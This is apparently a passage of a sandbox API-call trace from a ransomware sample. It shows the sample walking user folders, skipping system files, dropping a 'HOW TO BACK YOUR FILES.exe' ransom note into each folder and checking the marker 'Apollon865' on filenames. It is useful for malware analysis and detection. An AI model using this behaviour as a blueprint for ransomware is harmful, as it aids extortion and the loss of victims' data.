	[0040.411] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x660f4ac0, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x80988170, ftLastAccessTime.dwHighDateTime=0x1d4ca36, ftLastWriteTime.dwLowDateTime=0x80988170, ftLastWriteTime.dwHighDateTime=0x1d4ca36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WYOVGq", cAlternateFileName="")) returned 0
	[0040.411] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.411] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0040.411] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq"
	[0040.411] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0040.411] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0040.411] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq") returned 52
	[0040.411] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq"
	[0040.411] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.411] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.416] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.416] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x660f4ac0, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x3032a2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3032a2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.416] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.416] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.416] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.416] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x660f4ac0, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x3032a2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3032a2b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.416] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.416] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.416] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.416] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.416] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xce23ab80, ftCreationTime.dwHighDateTime=0x1d4cd57, ftLastAccessTime.dwLowDateTime=0x725a2970, ftLastAccessTime.dwHighDateTime=0x1d4c7b0, ftLastWriteTime.dwLowDateTime=0x725a2970, ftLastWriteTime.dwHighDateTime=0x1d4c7b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fWMdzf4", cAlternateFileName="")) returned 1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="Apollon865.txt.exe") returned 1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2=".") returned 1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="..") returned 1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="windows") returned -1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="bootmgr") returned 1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="temp") returned -1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="pagefile.sys") returned -1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="boot") returned 1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="ids.txt") returned -1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="ntuser.dat") returned -1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="perflogs") returned -1
	[0040.416] lstrcmpiW (lpString1="fWMdzf4", lpString2="MSBuild") returned -1
	[0040.416] lstrlenW (lpString="fWMdzf4") returned 7
	[0040.417] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\*") returned 54
	[0040.417] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="fWMdzf4" | out: lpString1="fWMdzf4") returned="fWMdzf4"
	[0040.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0040.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf4e0
	[0040.417] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0040.417] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3032a2b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3032a2b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.417] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.417] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b11bbc0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0x54df88a0, ftLastAccessTime.dwHighDateTime=0x1d4c80e, ftLastWriteTime.dwLowDateTime=0x54df88a0, ftLastWriteTime.dwHighDateTime=0x1d4c80e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lqRmsUEhIDzR1", cAlternateFileName="LQRMSU~1")) returned 1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="Apollon865.txt.exe") returned 1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2=".") returned 1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="..") returned 1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="windows") returned -1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="bootmgr") returned 1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="temp") returned -1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="pagefile.sys") returned -1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="boot") returned 1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="ids.txt") returned 1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="ntuser.dat") returned -1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="perflogs") returned -1
	[0040.417] lstrcmpiW (lpString1="lqRmsUEhIDzR1", lpString2="MSBuild") returned -1
	[0040.417] lstrlenW (lpString="lqRmsUEhIDzR1") returned 13
	[0040.417] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4") returned 60
	[0040.417] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="lqRmsUEhIDzR1" | out: lpString1="lqRmsUEhIDzR1") returned="lqRmsUEhIDzR1"
	[0040.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0040.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8f28
	[0040.417] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0040.417] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb70e2610, ftCreationTime.dwHighDateTime=0x1d4c8c4, ftLastAccessTime.dwLowDateTime=0x417149a0, ftLastAccessTime.dwHighDateTime=0x1d4d1bb, ftLastWriteTime.dwLowDateTime=0x417149a0, ftLastWriteTime.dwHighDateTime=0x1d4d1bb, nFileSizeHigh=0x0, nFileSizeLow=0x2ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TxrcwiX7Ys.mp3", cAlternateFileName="TXRCWI~1.MP3")) returned 1
	[0040.417] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.417] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0040.417] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2=".") returned 1
	[0040.417] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="..") returned 1
	[0040.417] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="windows") returned -1
	[0040.417] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="bootmgr") returned 1
	[0040.417] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="temp") returned 1
	[0040.418] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="pagefile.sys") returned 1
	[0040.418] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="boot") returned 1
	[0040.418] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="ids.txt") returned 1
	[0040.418] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="ntuser.dat") returned 1
	[0040.418] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="perflogs") returned 1
	[0040.418] lstrcmpiW (lpString1="TxrcwiX7Ys.mp3", lpString2="MSBuild") returned 1
	[0040.418] lstrlenW (lpString="TxrcwiX7Ys.mp3") returned 14
	[0040.418] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1") returned 66
	[0040.418] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="TxrcwiX7Ys.mp3" | out: lpString1="TxrcwiX7Ys.mp3") returned="TxrcwiX7Ys.mp3"
	[0040.418] lstrlenW (lpString="TxrcwiX7Ys.mp3") returned 14
	[0040.418] lstrlenW (lpString="Apollon865") returned 10
	[0040.418] lstrcmpiW (lpString1="wiX7Ys.mp3", lpString2="Apollon865") returned 1
	[0040.418] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="U xszFH BX-zs3H.mp3" | out: lpString1="U xszFH BX-zs3H.mp3") returned="U xszFH BX-zs3H.mp3"
	[0040.418] lstrlenW (lpString="U xszFH BX-zs3H.mp3") returned 19
	[0040.418] lstrlenW (lpString="Apollon865") returned 10
	[0040.418] lstrcmpiW (lpString1="X-zs3H.mp3", lpString2="Apollon865") returned 1
	[0040.418] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1"
	[0040.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0040.418] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0040.418] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1") returned 66
	[0040.418] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1"
	[0040.418] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.418] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\lqrmsuehidzr1\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.431] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.431] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b11bbc0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30350410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.431] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.431] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.431] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.431] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b11bbc0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30350410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.431] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.431] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.432] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.432] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.432] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb49870, ftCreationTime.dwHighDateTime=0x1d4c991, ftLastAccessTime.dwLowDateTime=0x9b663e70, ftLastAccessTime.dwHighDateTime=0x1d4c72a, ftLastWriteTime.dwLowDateTime=0x9b663e70, ftLastWriteTime.dwHighDateTime=0x1d4c72a, nFileSizeHigh=0x0, nFileSizeLow=0xdbf2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-8 zdu3b59rJKIcQ1ig.wav", cAlternateFileName="-8ZDU3~1.WAV")) returned 1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="Apollon865.txt.exe") returned -1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2=".") returned 1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="..") returned 1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="windows") returned -1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="bootmgr") returned -1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="temp") returned -1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="pagefile.sys") returned -1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="boot") returned -1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="ids.txt") returned -1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="ntuser.dat") returned -1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="perflogs") returned -1
	[0040.432] lstrcmpiW (lpString1="-8 zdu3b59rJKIcQ1ig.wav", lpString2="MSBuild") returned -1
	[0040.432] lstrlenW (lpString="-8 zdu3b59rJKIcQ1ig.wav") returned 23
	[0040.432] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\lqRmsUEhIDzR1\\*") returned 68
	[0040.432] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="-8 zdu3b59rJKIcQ1ig.wav" | out: lpString1="-8 zdu3b59rJKIcQ1ig.wav") returned="-8 zdu3b59rJKIcQ1ig.wav"
	[0040.432] lstrlenW (lpString="-8 zdu3b59rJKIcQ1ig.wav") returned 23
	[0040.432] lstrlenW (lpString="Apollon865") returned 10
	[0040.432] lstrcmpiW (lpString1="IcQ1ig.wav", lpString2="Apollon865") returned 1
	[0040.432] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="2LSHYecnqtd30k91tr.m4a" | out: lpString1="2LSHYecnqtd30k91tr.m4a") returned="2LSHYecnqtd30k91tr.m4a"
	[0040.432] lstrlenW (lpString="2LSHYecnqtd30k91tr.m4a") returned 22
	[0040.432] lstrlenW (lpString="Apollon865") returned 10
	[0040.432] lstrcmpiW (lpString1="0k91tr.m4a", lpString2="Apollon865") returned -1
	[0040.432] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4"
	[0040.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0040.432] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0040.432] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4") returned 60
	[0040.432] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4"
	[0040.433] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.433] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.438] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.438] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xce23ab80, ftCreationTime.dwHighDateTime=0x1d4cd57, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30350410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.439] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.439] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.439] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.439] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xce23ab80, ftCreationTime.dwHighDateTime=0x1d4cd57, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30350410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.439] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.439] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.439] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.439] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.439] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de39df0, ftCreationTime.dwHighDateTime=0x1d4c816, ftLastAccessTime.dwLowDateTime=0x11253f80, ftLastAccessTime.dwHighDateTime=0x1d4c5a0, ftLastWriteTime.dwLowDateTime=0x11253f80, ftLastWriteTime.dwHighDateTime=0x1d4c5a0, nFileSizeHigh=0x0, nFileSizeLow=0x840c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4pjlP.m4a", cAlternateFileName="")) returned 1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="Apollon865.txt.exe") returned -1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2=".") returned 1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="..") returned 1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="windows") returned -1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="bootmgr") returned -1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="temp") returned -1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="pagefile.sys") returned -1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="boot") returned -1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="ids.txt") returned -1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="ntuser.dat") returned -1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="perflogs") returned -1
	[0040.439] lstrcmpiW (lpString1="4pjlP.m4a", lpString2="MSBuild") returned -1
	[0040.439] lstrlenW (lpString="4pjlP.m4a") returned 9
	[0040.439] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\*") returned 62
	[0040.439] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="4pjlP.m4a" | out: lpString1="4pjlP.m4a") returned="4pjlP.m4a"
	[0040.439] lstrlenW (lpString="4pjlP.m4a") returned 9
	[0040.439] lstrlenW (lpString="Apollon865") returned 10
	[0040.439] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="t5Zkw5T3PPXfXt8JbSa.mp3" | out: lpString1="t5Zkw5T3PPXfXt8JbSa.mp3") returned="t5Zkw5T3PPXfXt8JbSa.mp3"
	[0040.439] lstrlenW (lpString="t5Zkw5T3PPXfXt8JbSa.mp3") returned 23
	[0040.439] lstrlenW (lpString="Apollon865") returned 10
	[0040.439] lstrcmpiW (lpString1="t8JbSa.mp3", lpString2="Apollon865") returned 1
	[0040.440] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Uv6EbSgm1I.wav" | out: lpString1="Uv6EbSgm1I.wav") returned="Uv6EbSgm1I.wav"
	[0040.440] lstrlenW (lpString="Uv6EbSgm1I.wav") returned 14
	[0040.440] lstrlenW (lpString="Apollon865") returned 10
	[0040.440] lstrcmpiW (lpString1="bSgm1I.wav", lpString2="Apollon865") returned 1
	[0040.440] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ylh5SaAC 4.wav" | out: lpString1="ylh5SaAC 4.wav") returned="ylh5SaAC 4.wav"
	[0040.440] lstrlenW (lpString="ylh5SaAC 4.wav") returned 14
	[0040.440] lstrlenW (lpString="Apollon865") returned 10
	[0040.440] lstrcmpiW (lpString1="SaAC 4.wav", lpString2="Apollon865") returned 1
